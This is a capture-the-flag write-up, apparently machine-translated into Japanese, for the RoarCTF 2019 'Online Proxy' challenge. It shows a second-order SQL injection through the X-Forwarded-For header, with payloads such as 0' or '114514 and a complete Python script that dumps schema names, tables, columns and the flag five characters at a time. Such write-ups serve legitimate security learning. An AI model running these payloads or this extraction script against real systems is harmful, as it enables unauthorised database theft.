[RoarCTF 2019Online Proxy] SQL 賢いブラインドインジェクション

[RoarCTF 2019Online Proxy] SQL 賢いブラインドインジェクション

問題解決

ソースコードインターフェースにあります:Current Ip

画像-20230809221921490

X-Forwarded-ForIP を変更するには、以下を関連付けます。

画像-20230809222053377

その結果、応答がLast Ipエコーアウトされることがわかり、dirsearchスキャンを使用してdb.php

画像-20230809222306594

私たちは自然にデータベースを思い浮かべます。X-Forwarded-Forリクエストを使用すると、最後の値がエコーされます。Last Ip

ここに SQL インジェクションがあるはずです。

SQL を XFF に渡し、2 回目にランダムな値を入力し、その SQL をデータベースに保存し、3 回目に同じ値を入力すると、SQL クエリが発生し、前の SQL ステートメントがクエリされます。その結果、2回目の注射が行われます

一重引用符を使用して閉じることができることを確認します

最初の XFF: 0' または '114514、2 回目: leekos、3 回目: leekos

3 番目のクエリでは、次のようになります。114514

脚本

したがって、スクリプトを記述する必要があります。

import requests

url = "http://node4.buuoj.cn:27640/"
def execsql(sql):
    result = ""
    payload = "0'|length(("+sql+"))|'0"
    session = requests.session()
    r = session.get(url,headers={
    
    'X-Forwarded-For':payload})
    r = session.get(url,headers={
    
    'X-Forwarded-For':'leekos'})
    r = session.get(url,headers={
    
    'X-Forwarded-For':'leekos'})
    start = r.text.find("Last Ip: ") + 9
    end = r.text.find(" -->",start)
    length = int(r.text[start:end])
    print("[+]长度:"+str(length))

    for i in range(1,length+1,5): # 1次查5个字符,妙
        payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)
        r = session.get(url, headers={
    
    'X-Forwarded-For': payload})
        r = session.get(url, headers={
    
    'X-Forwarded-For': 'leekos'})
        r = session.get(url, headers={
    
    'X-Forwarded-For': 'leekos'})
        start = r.text.find("Last Ip: ") + 9
        end = r.text.find(" -->", start)
        res = int(r.text[start:end])
        result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
        print(result)

    return result



# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

このスクリプトは非常に独創的で、これまでに遭遇したスクリプトとは異なり、ブラインド インジェクションを通じて一度に複数の文字をクエリできます。

原理は、文字列を 16 進数に変換し、次に 10 進数に変換して読み出し、最後に 10 進数を 16 進数に変換し、最後に文字列に変換することです。

文字列と16進数間の変換

例えば:

hex('abc')=616263次に、 SQL 関数を使用してconv(hex('abc'),16,10) = 6382179abc の 16 進数を 10 進数に変換します。

SQL では、16 進数を文字列に自動的に変換できます。

画像-20230809224024056

このアプローチにより、クエリの速度が大幅に向上します。

bytes.fromhex()この関数は 16 進数をバイトに変換し、decode() で文字にデコードします。

スクリプト全体のポイントは次のとおりです。

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)

res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

まず、SQLクエリを通じて結果の一部を取り出し、次に16進数に変換し、次に10進数に変換します

次に、requests返された結果を取り出し、16 進数に変換し、最後に文字に変換します。

このようにして、複数の文字を一度にクエリできます。

おすすめ

転載: blog.csdn.net/qq_61839115/article/details/132199136